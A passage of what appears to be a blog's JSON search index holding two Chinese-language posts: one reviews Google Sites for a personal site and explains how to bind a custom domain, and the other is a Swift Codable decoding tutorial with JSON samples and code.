文章打包下載並轉換為 Markdown 格式,搬遷到 Jekyll。zhgchg.li 手把手無痛轉移教學可點此 🚀🚀🚀🚀🚀===起源去年換工作時,很「虛花」的註冊了個 域名 來做個人履歷的導向連結;時隔半年想說讓域名更有用一些能放更多資訊、另一方面也是一直在尋覓第二網站備份 Medium 上已發表的文章,以防有個萬一。期望功能 可有自訂頁面 跟 Medium 一樣的流暢寫作介面 互動功能(按讚/留言/追蹤) SEO結構好 輕量載入快 能綁定自己的網域 侵入性低 (廣告侵入性、網站標注) 建置容易架站選擇 自架 WordPress 很久以前租過主機、網域,使用 WordPress 架過個人網站;從架設到調整到自己喜愛的版面樣式、安裝 Plugin/甚至自己開發缺少的 Plugin 完以後,我已沒有心力寫作,而且覺得很笨重、載入速度/SEO 也不如 Medium,要再繼續花時間調校,那就更沒有寫作的心力了。 Matters/簡書…之類 跟 Medium 平台差不多,因我不考慮盈利方面,不適合。 wix/weebly 太偏商業網站,且免費版侵入性太強 Google Site(本篇) Github Pages + Jekyll 還在找 >>> 歡迎提供建議關於 Google Site大約 2010 年時有用過舊版的 Google Site,當初拿來做個人網站的 -> 檔案下載中心頁面;印象已有點模糊,只記得那時候的版面很笨重、介面用起來也很不順;事隔 10 年,我本來以為這個服務已經收收掉了,無意間喵到有網域投資者,拿來做域名停泊頁放出售聯絡資訊:第一眼看到的時候覺得「哇!視覺不錯,居然為了賣網域弄了個頁面」;仔細一下左下角浮標,才發現「哇!居然是 Google Site 建的」,跟我 10 年前用的介面天差地遠,查了一下才知道 Google Site 沒有停止服務,反而在 2016 年推出全新版本,雖然也距今快五年,但至少介面跟得上時代了!成品展示什麼都先別說,先來看我做的成品,如果你也「心有靈犀」可以考慮使用看看!首頁個人簡歷頁城市一隅(瀑布流相片呈現)文章目錄(連回 Medium)與我聯絡 (內嵌 Google 表單)何不試試?節省閱讀時間,我 先講結論;我依然在尋找更合適的服務選項 ,雖然他有在持續維護更新功能,但 Google Site 有幾個對我很重要點需求無法滿足,以下列舉我在使用上遇到的致命缺點。致命缺點 程式碼高亮功能缺陷 功能只有 Code Block 底色反灰顯示 不會變色,若要嵌入 Gist 只能使用 Embed JavaScript (iframe),但 Google Site 沒有特別處理,高度無法隨頁面縮放進行改變,要馬空白太多、要馬手機小螢幕上會出現裡外兩個 ScrollBar,非常醜也不好閱讀。 SEO 結構基本為零 「驚不驚喜、益不意外?」Google 自己的服務結果 SEO 結構跟💩ㄧ樣,不給客製任何 head meta (description/tag/og:) 先別管 SEO 收錄排名,光把自己的網站貼到 Line/Facebook 等社群,沒有任何預覽資訊,只有醜醜的網址跟網站名稱而已。優點1.侵入性低,僅左下會有懸浮驚嘆號點了才會顯示「Google 協作平台 檢舉濫用」2.介面易用,右邊元件拉一拉就能快速建立頁面類似 wix/weebly. .or cakeresume? 版面配置、元件拉一拉填一填就完成了!3. 支援 RWD、內建搜尋、導航列4.支援 Landing Page5.流量無特別限制、容量按照創建者的 Google Drive 容量上限6. 🌟 可綁定自己的網域7. 🌟 可直接串GA分析訪客8. 官方社群 會收集意見、持續維護更新9. 支援公告提示10. 🌟 無痛完美嵌入 Youtube、Google 表單、Google 簡報、Google 文件、Google 行事曆、 Google 地圖,且支援 RWD 電腦/手機瀏覽11. 🌟 頁面內容支援 JavaScript/Html/CSS 內嵌12. 網址乾淨簡潔(http://example.com/頁面名/子頁面名)、頁面路徑名可自訂13. 🌟 頁面排版有參考線/自動對齊,非常貼心拖曳元件位置會出現參考對齊線適用網站我覺得 Google Site 只適合非常輕量的網頁服務,例如學校社團、小活動的網頁、個人簡歷。一些設定教學列舉一些自己在使用上遇到&解決的問題;其他都是所見即所得的操作,沒有什麼好紀錄的。如何綁定個人網域?1. 前往 http://google.com/webmasters/verification 2. 點擊「 新增資源 」輸入「 您的網域」 點擊 「繼續」3. 選擇您的「 網域服務供應商 」複製 「 DNS 設定驗證字串 」4. 前往網域服務供應商的網站 (這邊以 Namecheap.com 為例,大同小異)在 DNS 設定區塊新增一筆紀錄,類型選「 TXT Record 」、主機輸入「 @ 」、值輸入 剛複製的DNS 設定驗證字串 ,按新增送出。再新增一筆紀錄,類型選「 CNAME Record 」、主機輸入「 www (或你想用的子網域) 」、值輸入「 ghs.googlehosted.com. 」按新增送出。 另外也可多轉址 http://zhgchg.li -> http://www.zhgchg.li 這邊設定完需要稍等一下…等待 DNS 紀錄生效。。。5. 回到 Google Master 按驗證 若出現 「驗證資源失敗」 別急!請再稍等一下,如果超過 1 小時都還是無法,再回頭檢查一下設定是否有誤。成功驗證網域所有權6. 回到您的 Google Site 設定頁面點擊右上角「 齒輪(設定) 」選擇「 自訂網址 」輸入想要指派的網域名稱,或你想用的子網域,按「 指派 。指派成功後關閉設定視窗,點擊右上角的「 發布 」發布。 這邊一樣需要稍等一下…等待 DNS 紀錄生效。。。7. 新開一個瀏覽器輸入網址試試看能不能正常瀏覽 若出現 「網頁無法開啟」 別急!請再稍等一下,如果超過 1 小時都還是無法,再回頭檢查一下設定是否有誤。完成!子頁面、頁面路徑設定再導航列目錄子頁面會自動聚集顯示如何設定?右方切換到「頁面」頁籤。可新增頁面用拖曳的方式拖到現有頁面下就會變成子頁面、或點擊「…」操作。選擇屬性可自訂頁面路徑。輸入路徑名稱(EX: dev -> http://www.zhgchg.li/dev)頁首頁尾設定1.頁首設定滑鼠移到導航列,選擇「 新增頁首 」新增頁首後滑鼠移到左下角就能變更圖片、輸入標題文字、變更標頭類型2.頁尾設定滑鼠移到頁面底部,選擇「 編輯頁尾 」即可輸入頁尾資訊。 注意!頁尾資訊是全站共用的,所有頁面都會套用同樣的內容! 也可點左下角的「眼睛」,控制本頁是否要顯示頁尾資訊設定網站 favicon 、標頭名稱、圖示favicon網站標題、Logo如何設定?點擊右上角「 齒輪(設定) 」選擇「 品牌圖片 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!隱藏/顯示頁面最後更新資訊、頁面錨點連結提示最後更新資訊頁面錨點連結提示如何設定?點擊右上角「 齒輪(設定) 」選擇「 檢視者工具 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!串接 GA 分析流量1.前往 https://analytics.google.com/analytics/web/?authuser=0#/provision/SignUp 建立新 GA 帳戶2.建立完成後複製 GA 追蹤 ID3.回到您的 Google Site 設定頁面點擊右上角「 齒輪(設定) 」選擇「 分析 」輸入「 GA 追蹤 ID 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!設定全站/首頁橫幅公告橫幅公告如何設定?點擊右上角「 齒輪(設定) 」選擇「 公告橫幅 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!可指定橫幅訊息內容、顏色、按鈕文字、點擊前往連結、是否在新分頁開啟、設定全站 or 僅首頁顯示。發布設定右上角「發布 ▾」可檢查變更內容並發布。可設定是否讓搜尋引擎收錄及取消每次發布都要先跳檢查內容頁。嵌入 Javascript/HTML/CSS、大量圖片Gist 為例 但如上述致命缺點所說,嵌入 iframe 無法依照網頁大小響應高度。如何插入?選「內嵌」選擇嵌入程式碼可輸入 JavaScript/HTML/CSS,可拿來做自訂樣式的 Button UI。 另外選「圖片」插入可插入多張圖片,會以瀑布流呈現(如上述我的 城市一隅 頁面)。內嵌的 Google 表單無法在頁面直接填寫?這個原因是因為表單題目中有「 檔案上傳 」項目, 因瀏覽器安全性問題無法使用 iframe 嵌入在其他頁面中 ;所以會變成只顯示問券資訊然後要點擊填寫按鈕新開視窗前往填寫內容。解決辦法只有拿掉檔案上傳的問題,就能直接在頁面內進行填寫了。按鈕元件網址內容不能輸入錨點EX: #lifesection,我想拿來放頁面上方,做目錄索引瀏覽或頁底做 GoTop 按鈕查了下官方社群,目前不行,按鈕的連結就只能 1.輸入外部連結在新視窗中開啟或 2. 指定內部頁面,所以我後來用子頁面的方式來拆分目錄了。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "現實使用 Codable 上遇到的 Decode 問題場景總匯", "url": "/posts/1aa2f8445642/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, codable, json, decode", "date": "2020-06-14 00:33:58 +0800", "snippet": "現實使用 Codable 上遇到的 Decode 問題場景總匯(上)從基礎到進階,深入使用 Decodable 滿足所有可能會遇到的問題場景Photo by Gustas Brazaitis前言因應後端 API 升級需要調整 API 處理架構,近期趁這個機會一併將原本使用 Objective-C 撰寫的網路處理架構更新成 Swift;因語言不同,也不在適合使用原本的 Restkit 幫我們處...", "content": "現實使用 Codable 上遇到的 Decode 問題場景總匯(上)從基礎到進階,深入使用 Decodable 滿足所有可能會遇到的問題場景Photo by Gustas Brazaitis前言因應後端 API 升級需要調整 API 處理架構,近期趁這個機會一併將原本使用 Objective-C 撰寫的網路處理架構更新成 Swift;因語言不同,也不在適合使用原本的 Restkit 幫我們處理網路層應用,但不得不說 Restkit 的功能包山包海非常強大,在專案中也用得活靈活現,基本沒有太大的問題;但相對的非常笨重、幾乎已不再維護、純 Objective-C;未來勢必也要更換的。Restkit 幾乎幫我們處理完所有網路請求相關會需要到的功能,從基本的網路處理、API 呼叫、網路處理,到 Response 處理 JSON String to Object 甚至是 Object 存入 Core Data 它都能一起處理實打實的一個 Framework 打十個。隨著時代的演進,目前的 Framework 已不在主打一個包全部,更多的是靈活、輕巧、組合,增加更多彈性創造更多變化;因此再替換成 Swift 語言的同時,我們選擇使用 Moya 作為網路處理部分的套件,其他我們需要的功能再選擇其他方式進行組合。正題關於 JSON String to Object Mapping 部分,我們使用 Swift 自帶的 Codable (Decodable) 協議 & JSONDecoder 進行處理;並拆分 Entity/Model 加強權責區分、操作及閱讀性、另外 Code Base 混 Objective-C 和 Swift 也要考量進去。 * Encodable 的部份省略、範例均只展示實作 Decodable,大同小異,可以 Decode 基本也能 Encode。開始假設我們初始的 API Response JSON String 如下:{ \"id\": 123456, \"comment\": \"是告五人,不是五告人!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" }}由上範例我們可以拆成:User/Song/Comment 三個 Entity & Model,讓我們組合能複用,為方便展示先將 Entity/Model 寫在同個檔案。// Entity:struct UserEntity: Decodable { var id: Int var name: String var email: String}//Model:class UserModel: NSObject { init(_ entity: UserEntity) { self.id = entity.id self.name = entity.name self.email = entity.email } var id: Int var name: String var email: String}// Entity:struct SongEntity: Decodable { var id: Int var name: String}//Model:class SongModel: NSObject { init(_ entity: SongEntity) { self.id = entity.id self.name = entity.name } var id: Int var name: String}// Entity:struct CommentEntity: Decodable { enum CodingKeys: String, CodingKey { case id case comment case targetObject = \"target_object\" case commenter } var id: Int var comment: String var targetObject: SongEntity var commenter: UserEntity}//Model:class CommentModel: NSObject { init(_ entity: CommentEntity) { self.id = entity.id self.comment = entity.comment self.targetObject = SongModel(entity.targetObject) self.commenter = UserModel(entity.commenter) } var id: Int var comment: String var targetObject: SongModel var commenter: UserModel}let jsonString = \"{ \\\"id\\\": 123456, \\\"comment\\\": \\\"是告五人,不是五告人!\\\", \\\"target_object\\\": { \\\"type\\\": \\\"song\\\", \\\"id\\\": 99, \\\"name\\\": \\\"披星戴月的想你\\\" }, \\\"commenter\\\": { \\\"type\\\": \\\"user\\\", \\\"id\\\": 1, \\\"name\\\": \\\"zhgchgli\\\", \\\"email\\\": \\\"zhgchgli@gmail.com\\\" } }\"let jsonDecoder = JSONDecoder()do { let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)} catch { print(error)}CodingKeys Enum?當我們的 JSON String Key Name 與 Entity Object Property Name 不相匹配時可以在內部加一個 CodingKeys 枚舉進行對應,畢竟後端資料源的 Naming Convention 不是我們可以控制的。case PropertyKeyName = \"後端欄位名稱\"case PropertyKeyName //不指定則預設使用 PropertyKeyName 為後端欄位名稱一旦加入 CodingKeys 枚舉,則必須列舉出所有非 Optional 的欄位,不能只列舉想要客製的 Key。另外一種方式是設定 JSONDecoder 的 keyDecodingStrategy,若 Response 資料欄位與 Property Name 僅為 snake_case <-> camelCase 區別,可直接設定 .keyDecodingStrategy = .convertFromSnakeCase 就能自動匹配 Mapping。let jsonDecoder = JSONDecoder()jsonDecoder.keyDecodingStrategy = .convertFromSnakeCasetry jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)回傳資料是陣列時:struct SongListEntity: Decodable { var songs:[SongEntity]}為 String 加上約束:struct SongEntity: Decodable { var id: Int var name: String var type: SongType enum SongType { case rock case pop case country }}適用於有限範圍的字串類型,寫成 Enum 方便我們傳遞、使用;若出現為列舉的值會 Decode 失敗!善用泛型包裹固定結構:假設多筆回傳的 JSON String 固定格式為:{ \"count\": 10, \"offset\": 0, \"limit\": 0, \"results\": [ { \"type\": \"song\", \"id\": 1, \"name\": \"1\" } ]}即可用泛型方式包裹起來:struct PageEntity<E: Decodable>: Decodable { var count: Int var offset: Int var limit: Int var results: [E]}使用: PageEntity&lt;Song&gt;.selfDate/Timestamp 自動 Decode:設定 JSONDecoder 的 dateDecodingStrategy .secondsSince1970/.millisecondsSince1970 : unix timestamp .deferredToDate : 蘋果的 timestamp,罕用,不同於 unix timestamp,這是從 2001/01/01 起算 .iso8601 : ISO 8601 日期格式 .formatted(DateFormatter) : 依照傳入的 DateFormatter Decode Date .custom : 自訂 Date Decode 邏輯.cutstom 範例:假設 API 會回傳 YYYY/MM/DD 和 ISO 8601 兩種格式,兩中都要能 Decode:var dateFormatter = DateFormatter()var iso8601DateFormatter = ISO8601DateFormatter()let decoder: JSONDecoder = JSONDecoder()decoder.dateDecodingStrategy = .custom({ (decoder) -> Date in let container = try decoder.singleValueContainer() let dateString = try container.decode(String.self) //ISO8601: if let date = iso8601DateFormatter.date(from: dateString) { return date } //YYYY-MM-DD: dateFormatter.dateFormat = \"yyyy-MM-dd\" if let date = dateFormatter.date(from: dateString) { return date } throw DecodingError.dataCorruptedError(in: container, debugDescription: \"Cannot decode date string \\(dateString)\")})let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!) *DateFormatter 在 init 時非常消耗性能,盡可能重複使用。基本 Decode 常識: Decodable Protocol 內的的欄位類型(struct/class/enum),都須實作 Decodable Protocol;亦或是在 init decoder 時賦予值 欄位類型不相符時會 Decode 失敗 Decodable Object 中欄位設為 Optional 的話則為可有可無,有給就 Decode Optional 欄位可接受: JSON String 無欄位、有給但給 nil 空白、0 不等於 nil,nil 是 nil;弱型別的後端 API 需注意! 預設 Decodable Object 中有列舉且非 Optional 的欄位,若 JSON String 沒給會 Decode 失敗(後續會說明如何處理) 預設 遇到 Decode 失敗會直接中斷跳出,無法單純跳過有誤的資料(後續會說明如何處理)左:”” / 右:nil進階使用到此為止基本的使用已經完成了,但現實世界不會那麼簡單;以下列舉幾個進階會遇到的場景並提出適用 Codable 的解決方案,從這邊開始我們就無法靠原始的 Decode 幫我們補 Mapping 了,要自行實作 init(from decoder: Decoder) 客製 Decode 操作。 *這邊暫時先只展示 Entity 的部分,Model 還用不到。init(from decoder: Decoder)init decoder,必須賦予所有非 Optional 的欄位初始值(就是 init 啦!)。自訂 Decode 操作時,我們需要從 decoder 中取得 container 出來操作取值, container 有三種取得內容的類型。第一種 container(keyedBy: CodingKeys.self) 依照 CodingKeys 操作:struct SongEntity: Decodable { var id: Int var name: String enum CodingKeys: String, CodingKey { case id case name } init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) //參數 1 接受支援:實作 Decodable 的類別 //參數 2 CodingKeys self.name = try container.decode(String.self, forKey: .name) }}第二種 singleValueContainer 將整包取出操作(單值):enum HandsomeLevel: Decodable { case handsome(String) case normal(String) init(from decoder: Decoder) throws { let container = try decoder.singleValueContainer() let name = try container.decode(String.self) if name == \"zhgchgli\" { self = .handsome(name) } else { self = .normal(name) } }}struct UserEntity: Decodable { var id: Int var name: HandsomeLevel var email: String enum CodingKeys: String, CodingKey { case id case name case email }}適用於 Associated Value Enum 欄位類型,例如 name 還自帶帥氣程度!第三種 unkeyedContainer 將整包視為一包陣列:struct ListEntity: Decodable { var items:[Decodable] init(from decoder: Decoder) throws { var unkeyedContainer = try decoder.unkeyedContainer() self.items = [] while !unkeyedContainer.isAtEnd { //unkeyedContainer 內部指針會自動在 decode 操作後指向下一個對象 //直到指向結尾即代表遍歷結束 if let id = try? unkeyedContainer.decode(Int.self) { items.append(id) } else if let name = try? unkeyedContainer.decode(String.self) { items.append(name) } } }}let jsonString = \"[\\\"test\\\",1234,5566]\"let jsonDecoder = JSONDecoder()let result = try jsonDecoder.decode(ListEntity.self, from: jsonString.data(using: .utf8)!)print(result)適用不固定類型的陣列欄位。Container 之下我們還能使用 nestedContainer / nestedUnkeyedContainer 對特定欄位操作: *將資料欄位扁平化(類似 flatMap)struct ListEntity: Decodable { enum CodingKeys: String, CodingKey { case items case date case name case target } enum PredictKey: String, CodingKey { case type } var date: Date var name: String var items: [Decodable] var target: Decodable init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.date = try container.decode(Date.self, forKey: .date) self.name = try container.decode(String.self, forKey: .name) let nestedContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .target) let type = try nestedContainer.decode(String.self, forKey: .type) if type == \"song\" { self.target = try container.decode(SongEntity.self, forKey: .target) } else { self.target = try container.decode(UserEntity.self, forKey: .target) } var unkeyedContainer = try container.nestedUnkeyedContainer(forKey: .items) self.items = [] while !unkeyedContainer.isAtEnd { if let song = try? unkeyedContainer.decode(SongEntity.self) { items.append(song) } else if let user = try? unkeyedContainer.decode(UserEntity.self) { items.append(user) } } }}存取、Decode 不同階層的物件,範例展示 target/items 使用 nestedContainer flat 出 type 再依照 type 去做對應的 decode。Decode & DecodeIfPresent DecodeIfPresent: Response 有給資料欄位時才會進行 Decode(Codable Property 設 Optional 時) Decode:進行 Decode 操作,若 Response 無給資料欄位會拋出 Error *以上只是簡單介紹一下 init decoder、container 有哪些方法、功能,看不懂也沒關係,我們直接進入現實場景;在範例中感受組合起來的操作方式。現實場景回到原本的範例 JSON String。場景1. 假設今天對誰留言可能是對歌曲或對人留言, targetObject 欄位可能的對象是 User 或 Song ? 那該如何處理?{ \"results\": [ { \"id\": 123456, \"comment\": \"是告五人,不是五告人!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" } }, { \"id\": 55, \"comment\": \"66666!\", \"target_object\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\" }, \"commenter\": { \"type\": \"user\", \"id\": 2, \"name\": \"aaaa\", \"email\": \"aaaa@gmail.com\" } } ]}方式 a.使用 Enum 做為容器 Decode。struct CommentEntity: Decodable { enum CodingKeys: String, CodingKey { case id case comment case targetObject = \"target_object\" case commenter } var id: Int var comment: String var targetObject: TargetObject var commenter: UserEntity enum TargetObject: Decodable { case song(SongEntity) case user(UserEntity) enum PredictKey: String, CodingKey { case type } enum TargetObjectType: String, Decodable { case song case user } init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: PredictKey.self) let singleValueContainer = try decoder.singleValueContainer() let targetObjectType = try container.decode(TargetObjectType.self, forKey: .type) switch targetObjectType { case .song: let song = try singleValueContainer.decode(SongEntity.self) self = .song(song) case .user: let user = try singleValueContainer.decode(UserEntity.self) self = .user(user) } } }}我們將 targetObject 的屬性換成 Associated Value Enum,在 Decode 時才決定 Enum 內要放什麼內容。核心實踐是建立一個符合 Decodable 的 Enum 做為容器,decode 時先取關鍵欄位出來判斷(範例 JSON String 中的 type 欄位),若為 Song 則使用 singleValueContainer 將整包解成 SongEntity ,若為 User 亦然。要使用時再從 Enum 中取出://if case letif case let CommentEntity.TargetObject.user(user) = result.targetObject { print(user)} else if case let CommentEntity.TargetObject.song(song) = result.targetObject { print(song)}//switch case letswitch result.targetObject {case .song(let song): print(song)case .user(let user): print(user)}方式 b.改宣告欄位屬性為 Base Class。struct CommentEntity: Decodable { enum CodingKeys: String, CodingKey { case id case comment case targetObject = \"target_object\" case commenter } enum PredictKey: String, CodingKey { case type } var id: Int var comment: String var targetObject: Decodable var commenter: UserEntity init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) self.comment = try container.decode(String.self, forKey: .comment) self.commenter = try container.decode(UserEntity.self, forKey: .commenter) // let targetObjectContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .targetObject) let targetObjectType = try targetObjectContainer.decode(String.self, forKey: .type) if targetObjectType == \"user\" { self.targetObject = try container.decode(UserEntity.self, forKey: .targetObject) } else { self.targetObject = try container.decode(SongEntity.self, forKey: .targetObject) } }}原理差不多,但這邊先使用 nestedContainer 衝進去 targetObject 拿 type 出來判斷,再決定 targetObject 要解析成什麼類型。要使用時再 Cast :if let song = result.targetObject as? Song { print(song)} else if let user = result.targetObject as? User { print(user)}場景2. 假設資料陣列欄位放多種類型的資料該如何 Decode?{ \"results\": [ { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" } ]}struct ListEntity: Decodable { enum CodingKeys: String, CodingKey { case results } enum PredictKey: String, CodingKey { case type } var results:[Decodable] init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results) self.results = [] while !nestedUnkeyedContainer.isAtEnd { let type = try nestedUnkeyedContainer.nestedContainer(keyedBy: PredictKey.self).decode(String.self, forKey: .type) if type == \"song\" { results.append(try nestedUnkeyedContainer.decode(SongEntity.self)) } else { results.append(try nestedUnkeyedContainer.decode(UserEntity.self)) } } }}結合上述提到的 nestedUnkeyedContainer +場景1. 的解決方案即可;這邊也能改用 場景1. 的 a.解決方案 ,用 Associated Value Enum 存取值。場景3. JSON String 欄位有給值時才 Decode[ { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, { \"type\": \"song\", \"id\": 11 }]struct TargetEntity: Decodable { enum CodingKeys: String, CodingKey { case type case id case name } var type: String var id: Int var name: String init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) self.type = try container.decode(String.self, forKey: .type) //方式 1: self.name = try container.decodeIfPresent(String.self, forKey: .name) ?? \"\" //或方式 2: self.name = (try? container.decode(String.self, forKey: .name)) ?? \"\" //not good }}let jsonString = \"[ { \\\"type\\\": \\\"song\\\", \\\"id\\\": 99, \\\"name\\\": \\\"披星戴月的想你\\\" }, { \\\"type\\\": \\\"song\\\", \\\"id\\\": 11 } ]\"let jsonDecoder = JSONDecoder()let result = try jsonDecoder.decode([TargetEntity].self, from: jsonString.data(using: .utf8)!)使用 decodeIfPresent 進行 decode。場景4. 陣列資料略過 Decode 失敗錯誤的資料{ \"results\": [ { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, { \"error\": \"errro\" }, { \"type\": \"song\", \"id\": 19, \"name\": \"帶我去找夜生活\" } ]}如前述,Decodable 預設是所有資料剖析都正確才能 Mapping 輸出;有時會遇到後端給的資料不穩定,給一長串 Array 但就有幾筆資料缺了欄位或欄位類型不符導致 Decode 失敗;造成整包全部失敗,直接 nil。struct ResultsEntity: Decodable { enum CodingKeys: String, CodingKey { case results } var results: [SongEntity] init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results) self.results = [] while !nestedUnkeyedContainer.isAtEnd { if let song = try? nestedUnkeyedContainer.decode(SongEntity.self) { self.results.append(song) } else { let _ = try nestedUnkeyedContainer.decode(EmptyEntity.self) } } }}struct EmptyEntity: Decodable { }struct SongEntity: Decodable { var type: String var id: Int var name: String}let jsonString = \"{ \\\"results\\\": [ { \\\"type\\\": \\\"song\\\", \\\"id\\\": 99, \\\"name\\\": \\\"披星戴月的想你\\\" }, { \\\"error\\\": \\\"errro\\\" }, { \\\"type\\\": \\\"song\\\", \\\"id\\\": 19, \\\"name\\\": \\\"帶我去找夜生活\\\" } ] }\"let jsonDecoder = JSONDecoder()let result = try jsonDecoder.decode(ResultsEntity.self, from: jsonString.data(using: .utf8)!)print(result)解決方式也類似 場景2.的解決方案 ; nestedUnkeyedContainer 遍歷每個內容,並進行 try? Decode,如果 Decode 失敗則使用 Empty Decode 讓 nestedUnkeyedContainer 的內部指針繼續執行。 *此方法有點 workaround,因我們無法對 nestedUnkeyedContainer 命令跳過,且 nestedUnkeyedContainer 必須有成功 decode 才會繼續執行;所以才這樣做,看 swift 社群有人提增加 moveNext( ) ,但目前版本尚未實作。場景5. 有的欄位是我程式內部要使用的,而非要 Decode方式a. Entity/Model這邊就要提一開始說的,我們拆分 Entity/Model 的功用了;Entity 單純負責 JSON String to Entity(Decodable) Mapping;Model initWith Entity,實際程式傳遞、操作、商業邏輯都是使用 Model。struct SongEntity: Decodable { var type: String var id: Int var name: String}class SongModel: NSObject { init(_ entity: SongEntity) { self.type = entity.type self.id = entity.id self.name = entity.name } var type: String var id: Int var name: String var isSave:Bool = false //business logic}拆分 Entity/Model 的好處: 權責分明,Entity: JSON String to Decodable, Model: business logic 一目瞭然 mapping 了哪些欄位看 Entity 就知道 避免欄位一多全喇在一起 Objective-C 也可用 (因 Model 只是 NSObject、struct/Decodable Objective-C 不可見) 內部要使用的商業邏輯、欄位放在 Model 即可方式b. init 處理列出 CodingKeys 並排除內部使用的欄位,init 時給預設值或欄位有給預設值或設為 Optional,但都不是好方法,只是可以 run 而已。[2020/06/26 更新] — 下篇 場景6.API Response 使用 0/1 代表 Bool,該如何 Decode? 現實使用 Codable 上遇到的 Decode 問題場景總匯(下)[2020/06/26 更新] — 下篇 場景7.不想要每每都要重寫 init decoder 現實使用 Codable 上遇到的 Decode 問題場景總匯(下)[2020/06/26 更新] — 下篇 場景8.合理的處理 Response Null 欄位資料 現實使用 Codable 上遇到的 Decode 問題場景總匯(下)綜合場景範例綜合以上基本使用及進階使用的完整範例:{ \"count\": 5, \"offset\": 0, \"limit\": 10, \"results\": [ { \"id\": 123456, \"comment\": \"是告五人,不是五告人!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\", \"create_date\": \"2020-06-13T15:21:42+0800\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\", \"birthday\": \"1994/07/18\" } }, { \"error\": \"not found\" }, { \"error\": \"not found\" }, { \"id\": 2, \"comment\": \"哈哈,我也是!\", \"target_object\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\", \"birthday\": \"1994/07/18\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"路人甲\", \"email\": \"man@gmail.com\", \"birthday\": \"2000/01/12\" } } ]}import Foundation//let jsonString = \"\"\"{ \"count\": 3, \"offset\": 0, \"limit\": 10, \"results\": [ { \"id\": 123456, \"comment\": \"是告五人,不是五告人!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\", \"create_date\": \"2020-06-13T15:21:42+0800\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\", \"birthday\": \"1994/07/18\" } }, { \"error\": \"not found\" }, { \"error\": \"not found\" }, { \"id\": 2, \"comment\": \"哈哈,我也是!\", \"target_object\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\", \"birthday\": \"1994/07/18\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"路人甲\", \"email\": \"man@gmail.com\", \"birthday\": \"2000/01/12\" } } ]}\"\"\"//// Entity:struct SongEntity: Decodable { enum CodingKeys: String, CodingKey { case type case id case name case createDate = \"create_date\" } var type: String var id: Int var name: String var createDate: Date}struct UserEntity: Decodable { var type: String var id: Int var name: String var email: String var birthday: Date}struct CommentEntity: Decodable { enum CodingKeys: String, CodingKey { case id case comment case commenter case targetObject = \"target_object\" } enum PredictKey: String, CodingKey { case type } enum ObjectType: String, Decodable { case song case user } var id: Int var comment: String var commenter: UserEntity var targetObject: Decodable init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.id = try container.decode(Int.self, forKey: .id) self.comment = try container.decode(String.self, forKey: .comment) self.commenter = try container.decode(UserEntity.self, forKey: .commenter) //targetObject cloud be UserEntity or SongEntity let targetObjectNestedContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .targetObject) let type = try targetObjectNestedContainer.decode(ObjectType.self, forKey: .type) switch type { case .song: self.targetObject = try container.decode(SongEntity.self, forKey: .targetObject) case .user: self.targetObject = try container.decode(UserEntity.self, forKey: .targetObject) } }}struct EmptyEntity: Decodable { }struct PageEntity<E: Decodable>: Decodable { enum CodingKeys: String, CodingKey { case count case offset case limit case results } var count: Int var offset: Int var limit: Int var results: [E] init(from decoder: Decoder) throws { let container = try decoder.container(keyedBy: CodingKeys.self) self.count = try container.decode(Int.self, forKey: .count) self.offset = try container.decode(Int.self, forKey: .offset) self.limit = try container.decode(Int.self, forKey: .limit) var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results) self.results = [] while !nestedUnkeyedContainer.isAtEnd { if let entity = try? nestedUnkeyedContainer.decode(E.self) { self.results.append(entity) } else { let _ = try nestedUnkeyedContainer.decode(EmptyEntity.self) } } }}// 